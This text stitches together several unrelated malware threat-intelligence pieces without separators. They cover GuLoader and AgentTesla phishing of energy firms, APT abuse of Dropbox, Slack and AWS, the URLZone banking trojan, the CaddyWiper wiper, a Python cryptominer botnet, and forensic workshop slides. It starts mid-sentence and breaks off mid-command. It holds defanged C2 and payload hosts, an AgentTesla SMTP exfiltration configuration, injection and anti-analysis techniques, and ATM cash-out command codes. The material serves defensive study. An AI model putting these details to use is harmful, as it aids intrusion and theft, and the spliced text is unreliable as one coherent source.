sent by a known Romanian airline. ### 3.1. Unattributed malicious cluster Another delivery method related to the deployment of GuLoader by another malicious cluster is still associated with email spoofing, but this time used in such a way that the attacker poses as a member of the victim company by sending an email with a typo-squatted domain where only one letter is changed. Through this method of delivery, we have detected several companies being spoofed such as the South Korean branch of a French company operating in the energy industry. The targeted person was working for the company as a strategical buyer. The email was particularly well crafted since the subject of the topic was related to an ongoing project, between the targeted company and another company from the energy sector based in Taiwan, about the installation of a slug catcher (which is a common piece of equipment in this industry) in their infrastructure in Malaysia. We can assess that this email was originally sent by employees of the company but was uploaded to a public platform for unknown reasons, resulting in the threat actor taking advantage of this OPSEC error by reusing their email template to send the same one but with a malicious archive attached to it. A Spanish company linked to the oil and gas industry was targeted two days before that by an email sent by the same server and leveraging the same domain typo-squatting technique. In this case, the mail contained three legitimate internal documents including one confidential linked to the company, giving more legitimacy to the lure. The GuLoader implant was contained in a CAB archive. The targeted individual works as a purchasing engineer for the company. By pivoting on the legitimate files present in the mail, we found that the same email was uploaded to a public platform one month before this campaign but only with the legitimate documents attached to it and not the malicious CAB archive. We can assess that there is a realistic probability that this threat actor found it and decided to attach its payload and to use the same email template for its phishing campaign in order to increase the quality of the lure. The same IP that sent those emails targeted a Thai company operating in the heavy industry and engineering design sectors, as well as in the petrochemical sector. The same technique was likely leveraged, since an original and legitimate email related to the company was uploaded on a public platform in December 2022. In June 2023, the threat actor took the template and documents from this email and used them to send it to the company but added its malicious implant to it. Regarding this latter, AgentTesla was contained in a ZIP archive attached to the email. A major German company operating in the energy sector was targeted later, in August, by an email sent by the same IP address that sent the emails from the previously analysed campaigns. The threat actor crafted the headers of the mail to make it look like the sender’s domain of origin was the one of the targeted companies. Looking more in the details of the headers, we found that the actual sender email server had a completely different domain name and used Plesk. As a reminder, Plesk is a server data automation software, which is often used by threat actors to quickly deploy phishing infrastructures. The mail pretended to be sent by the head of the production and was supposed to target the head of external relations. In this campaign, the threat actor chose to directly place an AgentTesla implant in a RAR archive attached to the mail. During the same day, another mail related to a “Power & Energy Project” subject was sent to a Sino-Thai company specialized in the construction of refineries and various types of power plants such as gas, thermal, cogeneration, coal, and hydro. An AgentTesla implant was also contained in a RAR archive attached to the mail. On those three previously analysed campaigns, the AgentTesla implants were supposed to exfiltrate the stolen data over SMTP with the following configuration: - **Protocol:** SMTP - **Host:** cp7nl.hyperhost[.]ua - **Port:** 587 - **Username:** victorlog@lgtvproducts[.]buzz Upon examining those campaigns targeting energy companies, it is possible to assess with medium confidence that they were operated by the same threat actor. Some of the elements supporting that assessment are the use of the same IP address for the delivery of infected phishing emails and the technique leveraged to find legitimate emails related to the targeted company on a public platform, the same exfiltration configuration for the AgentTesla implants as well as the use of Google Drive for the final payload delivery when GuLoader was deployed, and the short period of time between the campaigns. The observed campaigns can be summarized with the following timeline. ### 3.2. Another malicious cluster In July 2023, another campaign from a different intrusion set that did not show the same artefacts previously found, used a compromised webmail of an ONG in Uzbekistan to target a financial company in Azerbaijan. This time the energy sector was not directly targeted but was instead used as a lure. The mail pretended to be sent by a state-owned oil and natural gas corporation. A ZIP archive containing a GuLoader implant presented as a screen saver was attached to the mail. Also in July, this intrusion set pretended to be part of an Iranian company specialized in designing, engineering, manufacturing, and supplying chemicals and equipment in petrochemical industries. Two archives were attached to the mail, both containing GuLoader implants presented as screen savers. ## II – Tactical Intelligence ### 1. Tactics, Techniques and Procedures #### 1.1. NSIS variant of GuLoader In the case of an email targeting a German company, the attachment was an IMG file that automatically mounts a virtual disk on the machine when launched. Inside was the GuLoader NSIS installer. When executed, the NSIS (Nullsoft Scriptable Install System), a program originally used to install software, will create a folder dubbed “Stephens” on “Appdata\Local” in the user’s directory that will contain the shellcode. The content of an NSIS can also be extracted with software like 7zip. It contains a DLL responsible for interpreting specific instructions written in a separate “.nsi” file that can also be extracted with previous versions of 7zip (15.05). The GuLoader shellcode is saved with a random name and extension in the same folder. The NSIS then starts the legitimate process “CasPol.exe” and injects the shellcode in its memory before terminating itself. The shellcode can be found in a Read-Write-Execute protected region in the process’s memory. Its content is the same as the content of the shellcode file extracted from the NSIS. The shellcode performs a GET request to retrieve an additional payload that is XOR encrypted and hosted on “00gssa[.]com/zx.bin”. It is possible to find the URL hosting this next stage in the dumped strings of the process. The format of the URL found in the dumped strings corresponds to the one which must be provided in the CloudEye Protector client for it to download the desired next stage; where the file’s extension seems to always be “.bin”. The full chain of infection for this campaign can be summarized with the diagram below. #### 1.2. Attachment abusing CVE-2017-0199 for GuLoader deployment We observed another initial access technique consisting of a Word document exploiting CVE-2017-0199 that was sent in attachment of an email spoofing a Georgian company. When launched, the document will communicate with a shortened URL hosting a malicious RTF that downloads and drops the GuLoader NSIS installer. It is possible to observe the GET request sent to the IP hosting the last encrypted payload. Unfortunately, it was not possible to retrieve the payload as the page returned a 404 error. The full chain of infection for this campaign can be summarized with the diagram below. ### 2. Code Analysis #### 2.1. Extracted NSI script Using 7z we can extract the NSI script used for installation and then analyze this script. The heavily obfuscated script begins with running every section upon the "instfile” call, then calls the one function we are interested in: .onMouseOverSection. This function is called automatically on binary execution as stated in the NSIS documentation. On startup, the .onMouseOverSection function will copy the shellcode located in the Emneomraadedefinition.Ove file in the $4 variable and call the func_451 function. This function will then call the func_12 function which will copy the $4 variable in the $R8 variable, allocate some space into memory and then call the “System::Call” method on the $R8 variable, executing the shellcode. #### 2.2. NSIS variant Using CreateProcessInternalW(), GuLoader’s NSIS variant will start by creating a new process “CasPol.exe”, which stands for “Code Access Security Policy Tool”. This process is a legitimate Windows process that enables users and administrators to modify security policy for the machine policy level, the user policy level, and the enterprise policy level. After creating this process, the malware writes the full shellcode in its memory using NtWriteVirtualMemory(). The size of the written data corresponds exactly to the delivered file containing the shellcode. After checking its environment for analysis environment behaviour, the shellcode downloads the next payload encrypted with a XOR key. This payload will be decrypted and injected in the same process as the shellcode in a region with Read-Write-Execute protections. #### 2.3. VBS variant of GuLoader In the context of a campaign spoofing a Bulgarian IT company, an archive containing the VBS variant of GuLoader was sent in the attachment of an email. The VBS script contains 879 lines with obfuscated PowerShell in its core. Its content was passed in the PowerShell.exe process in the following format. Once deobfuscated, the script will download an additional base64 encoded blob of data in a file hosted on the URL “ac-at[.]net/Tulle.asd” and will save it on the disk under the name “Beruse.Sor”. It then locates a certain portion of data at the offset 189548 with a length of 20758 bytes which contains a second PowerShell script. After decoding and extracting the data from the specifically given offset and size, the second PowerShell script was found to be filled with random comments in its code. After removing those comments, one could find XOR encrypted data passed through various variables. Once decrypted, a shellcode is executed via function CallWindowProcA. This function takes as first argument a pointer to a callback function. When this pointer is used to call the function, it is called a callback. This behaviour can be abused to run a shellcode by passing a pointer to the shellcode in the first argument. This article contains other APIs that threat actors can leverage to abuse this functionality. This shellcode is used to decrypt another shellcode present on the same file “Beruse.Sor” at a different offset. The overall content of the file retrieved from the URL present on the PowerShell script and saved on the disk under the name “Beruse.Sor”, can be summarized with the following figure. The XOR key that will decrypt the encrypted shellcode can be found inside the first shellcode amongst the following set of assembly instructions. In this case, the key is “0x3EAF89BA”. The following python script can be used to decrypt the second shellcode with the previously found key. #### 2.4. Shellcode anti-analysis As mentioned by McAfee, GuLoader employs many techniques to hinder the analysis process of the shellcode: - Employs runtime padding. - Scans whole process memory for analysis tool specific strings. - Uses DJB2 hashing for string checks and dynamic API address resolution. - Strings are decoded at runtime. - Checks if QEMU is installed on the system by checking the installation path: C:\\Program Files\\qqa\\qqa.exe - Patches the following APIs: DbgUIRemoteBreakIn - The function’s prologue is patched with ExitProcess call. - LdrLoadDll - The initial bytes are patched with instruction “mov edi edi.” - DbgBreakPoint - Patches with “nop” instruction - Clears hooks placed in ntdll.dll by security products or researchers for the analysis. - Window Enumeration via EnumWindows - Hides the shellcode thread from the debugger via ZwSetInformationThread by passing 0x11 (ThreadHideFromDebugger) - Device driver enumeration via EnumDeviceDrivers and GetDeviceDriverBaseNameA - Installed software enumeration via MsiEnumProductsA and MsiGetProductInfoA - System service enumeration via OpenSCManagerA and EnumServiceStatusA - Checks use of debugging ports by passing ProcessDebugPort (0x7) class to NtQueryInformationProcess - Use of CPUID and RDTSC instructions to detect virtual environments. Those checks often result in an error revealing that GuLoader managed to detect the environment and thus prevent the download and decryption of the next stage payload. ### 3. Infrastructure Analysis #### 3.1. Leveraging Google Drive for final payload delivery The observed campaign targeting companies from the energy sector revealed the use of the legitimate service Google Drive for payload hosting and delivery. Initial spearfishing email with attached GuLoader payload was sent from a Thai IP (147.50.227[.]13). Upon execution of the payload and after injection, the malware would contact 142.250.179[.]78 (Google LLC) to retrieve the final payload from a Google drive instance resolving the following URLs: - hxxps[://]drive[.]google[.]com/uc?export=download&id=1BDYk252qc7_7mHf4QCodtbpjIysHT4Vv - hxxps[://]drive[.]google[.]com/uc?export=download&id=1zXYSS2YpyezHZdQPtXPdNr0uPNorVivP Unfortunately, both of those URLs return a 404-response code at the time of writing this report. This would indicate that the threat actor has deleted the final payload, perhaps with the intent of concealing the goal of the campaigns. ## Conclusion Through analysis of both recent and past campaigns using GuLoader, Intrinsec’s CTI team hopes to highlight how stealthy and efficient this loader is. From Easysoft’s CloudEye humble beginnings in underground forums for hackers to its use in targeted campaigns observed in this report testify to the success of this malware. ## III - Actionable content ### 1. IoCs | Value | Type | Description | |-------|------|-------------| | 0c86253017d45f1cf09b474135ab9a603584f4c6d1d8d22b9c | SHA-256 | NSIS loader | | bce7be46dfb019a09ed21fa6609b2868160bd39abf1628a797cc703a0d64a11 | SHA-256 | emneomraadedefinition.ove | | 4585d0c8b9c998250f7d8503f51e02f52c3f666ad902900b2b90809df612c96e8 | SHA-256 | Malicious RTF | | 8cd51466416c0bec5be7c50c187de9346e381fe229eb22a3383dfd70bbac356 | SHA-256 | Liljans Slipstrmme.exe | | 107.172.148[.]208 | IP address | Hosting payload | | 91.234.99[.]51 | IP address | GuLoader C2 | | 103.131.57[.]119 | IP address | Hosting payload | | 188.86.117[.]83 | IP address | IP performing malspam | | 147.50.227[.]13 | IP address | IP performing malspam | | ac-at[.]net | Domain | Hosting payload | | rdns.aesite[.]cz | Domain | GuLoader C2 | | 00gssa[.]com | Domain | GuLoader C2 | | 00gts[.]ru | Domain | GuLoader C2 | ### 2. Recommendations GuLoader has proved to be a stealthy and highly customizable loader. The campaigns studied in this document reveal that the use of GuLoader, coupled with a smart use of spear phishing techniques, can prove to be very efficient for initial access and further exploitation. To prevent your organization from being infected, Intrinsec’s CTI recommends: **Network and Emails policy** - Train your staff to always question the legitimacy of an email, especially if it contains attachments. - Block the domains names included in the IoCs section of this report. - Block domains associated with any GuLoader campaigns. - Block emails sent from spoofed or not trusted domains. - Block IP addresses included in the IoCs section of this report. - Block IP addresses associated with any GuLoader campaigns. - Do not upload internal emails on public platforms. **System and endpoint security** - Prevent PowerShell execution by normal users. - Use GuLoader’s detection rules on endpoints. - Train your staff not to activate content on Microsoft Office documents if coming from an untrusted source. ### 3. Sources - https://malpedia.caad.fkie.fraunhofer.de/details/win.cloudeye - https://github.com/OALabs/research/blob/master/_notebooks/2022-12-16-guloader.ipynb - https://research.checkpoint.com/2020/guloader-cloudeye/ - https://research.checkpoint.com/2023/cloud-based-malware-delivery-the-evolution-of-guloader/ - https://therecord.media/german-intelligence-warning-lng-terminals-cyberattacks
# Abusing Third-Party Cloud Services in Targeted Attacks **Daniel Lunghi (@thehellu), Jaromir Horejsi (@JaromirHorejsi)** October 02, 2019, Virus Bulletin, London, UK ## Introduction - Cloud services abuse is not something new - “C&C-as-a-Service” presentation at VB in 2015 - This talk focuses on cloud abuse in the context of targeted attacks that we investigated - Goals: - Show different real implementations of cloud abuse - Find how, as defenders, we can leverage this setup to our advantage ## Custom Malware Infrastructure - Developed and maintained by threat actor - Costly - Domain name(s), server(s) hosting, data storage, bandwidth … - Time consuming - Design, implementation and testing of the communication protocol - Installation and maintenance of the C&C server(s) ### Disadvantages - Easier to monitor/block/sinkhole/seize - Higher probability of flaws in the communication protocol - Difficult to assess the reliability in real conditions ### Advantage - You choose to implement whatever funny idea you like ## Cloud Malware Infrastructure ### Advantages - Developed, maintained and operated by knowledgeable third party - Cheaper (often free) - API - Higher reliability - Harder to block/monitor/seize ### Disadvantage - Constrained by the features the cloud services provide ## Selected APT Cases ### Patchwork - Known targeted countries #### Badnews - “Badnews” backdoor - A mix of both alternatives 1. HTTPS GET request 2. Encrypted C&C 3. Connect to C&C - Hardcoded and encoded (sub 0x01) URL addresses - Examples of encoded configuration - Encryption uses XOR & ROL - Versions after November 2017 added a layer of blowfish encryption - C&C is usually a PHP script hosted in a web server without domain name ### Confucius - Known targeted countries #### Swissknife - “Swissknife” stealer - Uses Dropbox API to upload documents with selected extensions (.pdf, .doc, .docx, .ppt, .pptx, .xls, and .xlsx) - HTTPS POST request - API key in “Authorization” header - API key in decompiled code - File downloader in Python using Dropbox API - Enumerating the deleted files - Enumerating the deleted folders #### pCloud - “pCloud” stealer - Uses pCloud API to upload documents with selected extensions (.pdf, .doc, .docx, .ppt, .pptx, .xls, and .xlsx) - HTTPS POST request - Embeds login/password - Using pCloud API to list files #### TweetyChat - “TweetyChat”, backdoored Android chat application 1. Register to C&C 2. Send commands 3. Upload stolen files - Update AWS credentials 3. Upload SMS, contacts, call logs - awsAccessKey and awsSecretKey are not hardcoded - AWS keys are updated through Google Cloud Messaging platform (Firebase Cloud Messaging in newer versions) - Google Cloud/ Firebase message receiver - Calling PutObjectRequest to “upload a new object to the specified Amazon S3 bucket” - As usual, operators test the malware on their own devices… ## MuddyWater - Known targeted countries ### CloudSTATS - “CloudSTATS” backdoor 1. Register 2. Put “.reg” file 3. Send command 4. Read command 5. Put “.cmd” file 6. Send command results 7. Put encoded “.res” file - Hardcoded API keys - Check existing folder/victim - Asynchronous C&C communication - Files with extensions (cmd, reg, prc, res) ### Telegram - Android mobile app, Telegram exfiltration 1. Register to C&C 2. Send commands 3. Upload stolen information (BotID & ChatID) - Timer sending all data once a day - Code for exfiltration all system information - Metadata of the Telegram account ## SLUB - Country of interest - Malware delivered via waterholing of websites related to North Korea - Read gist snippet for commands to execute - ^ and $ encapsulate active commands - Hardcoded Slack token - Slack token’s o-auth scopes - Exfiltration via file.io, link sent to Slack - Newer version from July 2019 - GitHub is not used anymore - Operator creates a Slack workspace - A separate channel named <user_name>-<pc_name> is created in the workspace for each infected machine - Commands to execute sent via messages pinned to a victim-specific channel - Victim machine reads pinned messages from its dedicated channel, parses the message, and executes the requested command ## Conclusion - Abusing cloud service providers is a worldwide trend - Such services can be used for different purposes: - To store a reference used by the malware (C&C …) - To store the stolen data - To store all the commands and data - This behavior brings benefits not only to the attackers, but also to the defenders, and without the need to “hack back”
# URLZone Zones in on Japan Recently we’ve seen an interesting trend from several crimeware families that were mainly active in the European region, and have now expanded their activity to Japan. Rovnix is one such family, as recently reported by IBM X-Force. At the same time, we’ve seen another spam campaign break out in Japan. The malware attempted to deliver another old banking trojan named URLZone (aka Shiotob/Bebloh), which was initially discovered in 2009. URLZone is known to be very active in the European region, especially Spain and Germany. Now we have noticed that the spam group is focusing on Japan. This blog describes a URLZone spam campaign targeting Japan in December 2015. We discuss its new persistence and evasion techniques, as well as its well-known password stealing method and command and control (CnC) communication. ## Spam Campaign On Dec. 16, 2015, and Dec. 21, 2015, we saw an extensive amount of URLZone spam emails being delivered to Japanese email users. URLZone spam campaigns usually take place by targeting a specific region. The spam emails are crafted with the target region’s language and are often sent using email account domains belonging to the target region. This increases the chance of recipients opening the malicious attachment, especially in non-English speaking regions, as the recipients are more familiar in exchanging emails in their native language. The email subject and content were simple and generic. The subjects were written in English and Japanese with short Japanese sentences for the body. Most of the spam emails were sent from freely available web email accounts in Japan. The majority of the emails used the domains softbank.jp and yahoo.co.jp, which are the largest mobile carrier and web portal service in Japan respectively. An attached ZIP archive containing URLZone binaries was given two extension names in order to disguise it as a DOC or JPG file and trick recipients into opening the malicious attachment. For example, “scan01_doc_2015~jpeg.zip” extracts “scan01_doc_2015~jpeg.jpeg.exe”. ## Malware Analysis URLZone is a banking trojan. It downloads a configuration file that contains information on targeted financial institutions and uses web injection techniques to steal a user’s banking credentials. While the basic characteristics of URLZone samples in the campaign in Japan remained the same as the previous analysis done by Arbor Networks, several new features were added to the latest URLZone sample. ### Initial Infection Stage The malware uses process hollowing (also known as process replacement) to mask its execution. The malware tries to hollow explorer.exe or iexplorer.exe with a “_section” as an added command-line parameter to identify this process as spawned by the malware. The process it hollows is initially started as suspended. It then modifies or writes its malicious code to the entry point of the hollowed process. Once the necessary code is written, it will resume the suspended process, thus executing its malicious payload. Next, the malware does one of the following: 1. Continues to run the malicious routine in this hollowed process if the hollowed process is 64-bit or it has a window (this is for hollowed iexplore.exe). 2. Continues the malicious routine by injecting itself into the running explorer.exe on the system. ### Stolen Information #### System Survey To identify the victim system, the malware acquires the following details: - Computer name - OS major/minor version, as well as install date - Hollowed process name version and time stamp - IP address - Keyboard layout This is sent out in a beacon POST to the CnC server as described in Arbor’s report. #### Email Addresses URLZone steals the email addresses stored in the Windows Address Book (WAB). It does so by querying both wab32.dll and WAB file name in the registry. It then uses this library to parse through the WAB file and save the information to a randomly generated value in a randomly generated key /SOFTWARE/<random>/<random_value>. #### Web/FTP/Email Information and Credentials The malware steals web and FTP information by injecting malicious code into commonly used programs for connectivity. It injects a specific malicious routine on each target program that hooks a certain library used to send or receive network traffic. A continuous thread is running that constantly checks for the presence of these applications and concurrently injects a certain hooking function dependent on the process name. For FTP/Email applications (that do WinSock hooking), it hooks 3 APIs from ws2_32.dll: - ws2_32_send - ws2_32_connect - ws2_32_close It monitors FTP/MAIL transactions through ws2_32_connect by checking for the string “FTP” and “MAIL” on the connect parameters. The FTP/MAIL server address and connection handle is stolen from this hook. The ws2_32_send hook captures the authentication request by checking the strings “USER” and “PASS” to steal the user’s credentials. For Web applications that use WinInet, it consists of API hooks used for monitoring HTTP/S sessions using the hooks shown in the appendix. These hooks look for strings as specified in the malware’s configuration file, and these strings target the data from financial institutions. If a match is found, the malware sends out the information to its CnC server. ### Command and Control URLZone uses a Domain Generation Algorithm (DGA), as stated in other reports. The initial CnC URL starts as a hard-coded encrypted string within the malware body. If the hard-coded URL doesn’t work, the malware then uses DGA to find the right one. The malware checks for Internet connectivity by first connecting to google.com. It then proceeds to check, through SSLv3 handshake, whether the generated URL responds to its certificate. It continuously does this until a valid URL is found. The DGA takes in the previous URL as a seed to generate other domains. ### Persistence Mechanism Unlike many other banking trojans, URLZone uses a clever persistence mechanism and clears its registry configuration only upon logoff, reboot, and shutdown. It does this using a Window Procedure that monitors Window Messages for WM_QUERYENDSESSION. If the Window Procedure catches a WM_QUERYENDSESSION Window message it performs the following actions: a. Delete the random registry key HKLM/SOFTWARE/<random>, which contains the stolen email addresses and interprocess configuration of injected routines. b. Create Startup registry on Software\Microsoft\Windows\CurrentVersion\Run and write its corresponding registry value in either one of these methods: i. Generate shortcut file (LNK file) pointing to %dropfilepath% and append “-autorun” to generated lnk file. ii. If %dropfilepath% doesn’t exist, continue to write a registry value with a –autorun parameter. ### Random Filename Generation URLZone uses an interesting algorithm to generate random filenames. Unlike most banking trojans, which generate random looking strings for dropped filenames, URLZone uses an array of strings to generate the filename of the dropped file. To add entropy to the random string generation algorithm, it uses a subroutine that creates a random byte using the RDTSC instruction combined with other arithmetic operations. The array of strings used to generate the filename is as follows: `char *filenames[] = ["win", "video", "def", "mem", "dns", "user", "logon", "hlp", "mixer", "pack", "mon", "srv", "exec", "play"]` The random string generation algorithm can be invoked in two ways: 1. `rand(len_min, len_max, upper_offset_limit)` -> to construct a random string from a given string. 2. `rand(upper_offset_limit)` -> to get a random string from a given array. The above algorithms are used to generate the filename as follows: 1. Get a string randomly from the above array. 2. Construct a random string of length between 1 and 2 from the string: "qwertyuiopasdfghjklzxcvbnm123945678". 3. Calculate a flag randomly and check its value. If the value of the flag is 0, then it proceeds to concatenate the strings generated in step 1 and 2. If the value of flag is 1, then it gets one more string randomly from the array similar to step 1. ### Evasion Technique URLZone attempts to detect the use of VMware using the following method: 1. Resolve SetupDi APIs by pre-calculated string hash from setupapi.dll. 2. Retrieve the device information using those APIs. 3. Check if the device names acquired contain the string “vm”. As soon as one of the device names starts with the string “vm” it will jump to a hooking function and soon terminates the thread, thus not allowing the malware to continue further with its routine and CnC callback. ## An Ongoing Campaign On Jan. 19, 2016, and Jan. 20, 2016, we observed another round of URLZone spam targeting Japan. The basic TTPs are unchanged, but the scale is larger than the spam campaign we observed in December 2015. ## Conclusion Although URLZone has been around for a while and primarily targets countries in Europe, we still see it active and now shifting to Japan. It is likely that URLZone will further expand its activity in Japan with improved localization and techniques. Email users should be cautious about viewing emails coming from unknown senders. ## Appendix ### URLZone sample hashes - 15896a44319d18f8486561b078146c30a0ce1cd7e6038f6d614324a39dfc6c28 - 884fccbbfa5a5b96d2e308856b996ee20d9656d04505fb3cdf926270f5d11c28 ### Hooked APIs - WinInet.HttpEndRequestA - WinInet.HttpEndRequestW - WinInet.HttpOpenRequestA - WinInet.HttpOpenRequestW - WinInet.HttpQueryInfoA - WinInet.HttpQueryInfoW - WinInet.HttpSendRequestA - WinInet.HttpSendRequestExW - WinInet.HttpSendRequestW - WinInet.InternetCloseHandle - WinInet.InternetQueryDataAvailable - WinInet.InternetReadFile - WinInet.InternetReadFileExA - WinInet.InternetReadFileExW - WinInet.InternetWriteFile - nspr.PR_Read - nspr.PR_Write - nspr.PR_Close - ws2_32.send - ws2_32.connect - ws2_32.closesocket
# New CaddyWiper Data Wiping Malware Hits Ukrainian Networks By Sergiu Gatlan March 14, 2022 Newly discovered data-destroying malware was observed earlier today in attacks targeting Ukrainian organizations and deleting data across systems on compromised networks. "This new malware erases user data and partition information from attached drives," ESET Research Labs explained. "ESET telemetry shows that it was seen on a few dozen systems in a limited number of organizations." While designed to wipe data across Windows domains it's deployed on, CaddyWiper will use the `DsRoleGetPrimaryDomainInformation()` function to check if a device is a domain controller. If so, the data on the domain controller will not be deleted. This is likely a tactic used by the attackers to maintain access inside the compromised networks of organizations they hit while still heavily disturbing operations by wiping other critical devices. While analyzing the PE header of a malware sample discovered on the network of an undisclosed Ukrainian organization, it was also discovered that the malware was deployed in attacks the same day it was compiled. "CaddyWiper does not share any significant code similarity with HermeticWiper, IsaacWiper, or any other malware known to us. The sample we analyzed was not digitally signed," ESET added. "Similarly to HermeticWiper deployments, we observed CaddyWiper being deployed via GPO, indicating the attackers had prior control of the target's network beforehand." ## Fourth Data Wiper Deployed in Ukraine This Year CaddyWiper is the fourth data wiper malware deployed in attacks in Ukraine since the start of 2022, with ESET Research Labs analysts previously discovering two others and Microsoft a third. One day before the Russian invasion of Ukraine started, on February 23rd, ESET researchers spotted a data-wiping malware now known as HermeticWiper, used to target Ukraine together with ransomware decoys. They also discovered a data wiper they dubbed IsaacWiper and a new worm named HermeticWizard the attackers used to drop HermeticWiper wiper payloads, deployed the day Russia invaded Ukraine. Microsoft also found a wiper now tracked as WhisperGate, used in data-wiping attacks against Ukraine in mid-January, disguised as ransomware. As Microsoft President and Vice-Chair Brad Smith said, these ongoing attacks with destructive malware against Ukrainian organizations "have been precisely targeted." This contrasts with the indiscriminate NotPetya worldwide malware assault that hit Ukraine and other countries in 2017, an attack later linked to Sandworm, a Russian GRU Main Intelligence Directorate hacking group. Such destructive attacks are part of a "massive wave of hybrid warfare," as the Ukrainian Security Service (SSU) described them right before the war started.
# Python Cryptominer Botnet Quickly Adopts Latest Vulnerabilities **January 14, 2021** **Research Labs** Over the last few days, Imperva researchers have monitored the emergence of a new botnet, one whose primary activity is performing different DDoS attacks and mining cryptocurrency. It also acts as a worm trying to extend its reach by scanning specific subnets and ports and using different remote code execution (CVE) vulnerabilities in an effort to infect them. This particular botnet attack is unique given its rapid exploitation of the latest web vulnerabilities as a way to extend its reach and size. The first recorded attack attempt took place on January 8. Since then, we’ve seen hundreds of attacks from many different IPs. The captured attacks seem to take advantage of some of the most recently published RCE vulnerabilities. For example: - A deserialization vulnerability in Zend Framework (known as CVE-2021-3007) that was published only 4 days before the first incident! - A TerraMaster unauthenticated command-execution vulnerability (known as CVE-2020-35665) - The deserialization of Untrusted Data in Liferay Portal (known as CVE-2020-7961) ## How does the botnet spread? One of the attack vectors that has been captured is the TerraMaster unauthenticated command-execution vulnerability (CVE-2020-35665), first published in late December 2020. We’ve monitored exploit attempts since it was published, expecting to see an increase in the amount of attack attempts of this kind weeks after discovery. But, we noticed the numbers have grown significantly as of January 8, even more than expected. In this case, the tool tries to access a specific URL using the “Event” parameter. The vulnerability allows the attacker to pipe a bash command that downloads and runs a Python malware from hXXp://gxbrowser[.]net[/]out[.]py. ## Python Malware Drilldown The malware itself is highly obfuscated and contains, as mentioned, different kinds of capabilities: scanning, botnet attacks, C&C communication and spreading to new targets. First, we can see that this tool has scanning ability in ports 80, 443, 8443 and 8080. In addition, the tool uses various User-Agent for the scanning and generating HTTP requests. We can also see the C&C IRC-based communication with the server (gxbrowser.net:6667). All of the C&C commands are listed below. They contain different commands to perform reconnaissance, different types of network floods, network amplification, shell/reverse shell, stop/start process and connection commands. When you look closely at the code, you can see indications of various flood attack capabilities such as UDP flood, SYN flood, TCP flood, HTTP flood and Slowloris. Besides the flood capabilities, the malware also has crypto-miner capabilities. The malware exploits the new Zend Framework vulnerability (CVE-2021-3007) to run XMRig, a crypto-mining tool that uses the attacked machine resources to mine digital currency. The malware also tries to get a persistent foothold by adding the Python script inside with boot.py to the rc.local file, so it can run after reboot. ## Attack Surface Imperva Research Labs has discovered more than 100 attack attempts on our customers. However, we believe the attack surface for this particular threat is much bigger than we’d usually see. Rough estimation based on public facing servers shows more than 10,000 potential victims. This is a very interesting and unique case of a complex botnet attack that quickly exploits the latest published vulnerabilities. It requires us, as part of the security community, to act faster than ever before. ## Imperva Customers Protected Imperva Web Application Firewall (WAF) customers were protected from this attack due to our RCE detection rules, although the attack vector is new and exploits the latest vulnerabilities.
# COMPUTER FORENSIC INVESTIGATION OF MOBILE BANKING TROJAN **Ivanov Boris** Senior Computer Forensics Specialist LLC «Group-IB» Graduate student 05.13.19 - Defense methods and systems of information, information security Kuban State Technological University ## Goals of this workshop - WTF Computer Forensics - Real case of APT - The skill of using common tools to find malware ## Основные принципы мошенничества в системах ДБО ### Структура преступной группы - Структура типичной мошеннической группы на примере группы Carberp, ликвидированной в марте 2012 года. **Gizmo** Лидер группы, создатель бот-сети **Программист** Автор вредоносной программы Carberp **Траффер** Взламывал популярные сайты и незаметно перенаправлял их посетителей на вредоносные ресурсы. Среди взломанных: www.rzd.ru, www.ikea.ru, www.kp.ru, www.mk.ru, www.klerk.ru, www.glavbukh.ru и др. **Руководитель заливщиков** Координировал заливщиков, выдавал им реквизиты для перевода похищенных средств **Руководитель обнала** Обеспечивал группу пластиковыми картами, банковскими счетами для перевода денежных средств. **Дропы** Люди, которые снимали деньги через банкомата или в банке **Поставщики пластиковых карт и счетов в банках** Занимаются продажей пластиковых карт и банковских счетов, оформленных на подставных лиц. ### Этапы работы мошенников - Покупка малвари - Крипт исполняемых файлов - Аренда дедиков для управления бот сетью - Покупка трафа в определенных регионах РФ - Отправка платежных поручений - Обнал **Финансовые операции** Вывод на юридическое лицо - Регистрация юридического лица - Оформление банковской карты - Оформление счета в банке - Перевод денег на счет компании - Перевод на карту/карты для обналичивания Вывод на физическое лицо - Оформление банковской карты - Поиск человека (дропа) - Перевод денег на карту - Обналичивание с карты ## Немножко криптографии Once decoded, the key translates to the following number: 31298847196625400639506938637161930162789011464295952600544145829335849533528834917800088971765784757175491347320005860302574523 This is definitely not a 1024 bits key! The number has 128 digits, which could indicate a (big) mistake from the malware author, who wanted to generate a 128 bytes key. ## Социальная инженерия **CPL Dropper** – реквизиты.doc.cpl Александр, Добрый день! Высылаю Вам наши реквизиты для заключения договора, и документы на проверку Сумма депозита 32 000 000 руб 00 коп, сроком на один год, % в конце срока С Уважением, Сергей Симонов тел. +7(962) 7135296 Email: [email protected] ## Мобильная платформа Наличие бот-сети в 100 000 мобильных устройств позволит хакеру похитить $16 000 000 в короткие сроки. ## ATM Диспенсер. [PinPad.EXE] – ulssm.exe Исследуемый файл представляет собой программу, позволяющую при помощи XFS-API взаимодействовать с PINPAD и диспенсером в АТМ и позволить злоумышленнику дать команду на опустошение кассет с наличностью. **Команды:** 111111 – Сделать видимым главное окно программы 333333 – Самоудаление исследуемой программы и созданного ей ключа реестра 555555 – Отображение текстовой надписи «TIME WAS EXTENED. +++» CASH OPERATION FINISHED. CASH OPERATION PERMITTED. TAKE THE MONEY NOW! TO START DISPENSE OPERATION - …wait 3 seconds ENTER CASSETTE NUMBER AND PRESS ENTER ## POS-терминалы Dump Memory Grabber [vSkimmer] ## Materials Folder Share: \forensics\materials\ Part 1 «Infection banking trojan»: VMware Player ver. > 6.0.3 Sans Workstation ver. 3.0 Free Space > 20 Gb Part 2 «Investigation malware for Android OS»: VMware Player ver. > 6.0.3 Santoku Community Edition ver. 0.5 Free Space > 4 Gb ## INVESTIGATION OF INFECTION BANKING TROJAN **Infection vector:** Malware dropper (exploit CVE-2012-0158) 1. Social Engineering (trusted source/phone call) 2. Send email: Добрый день, прошу ознакомиться с договором. Спасибо Best regards, Viktoria Gybareva, Senior accountant Tel.: +7 (495) 123-45-67, ext. 1001 [email protected] 3. Open attachment 4. Run «договор.doc» 5. Privilege escalation, backconnect to CnC Server, download payload, etc… ## Пояснительная записка ### Первоначальный осмотр Before 446 bytes – Bootstrap 64 bytes - Partition table 2 bytes – Signature 446 + 64 + 2 = 512 ### Сбор информации NTFS Volume Serial Number. 58 7C BC 6C 09 B9 86 7A 6CBC-7C58 %SYSTEMDRIVE% ## Timeline Repair %SYSTEMDRIVE% + TimeLine root@siftworkstation:/mnt/hgfs/ZN# log2timeline.py -z 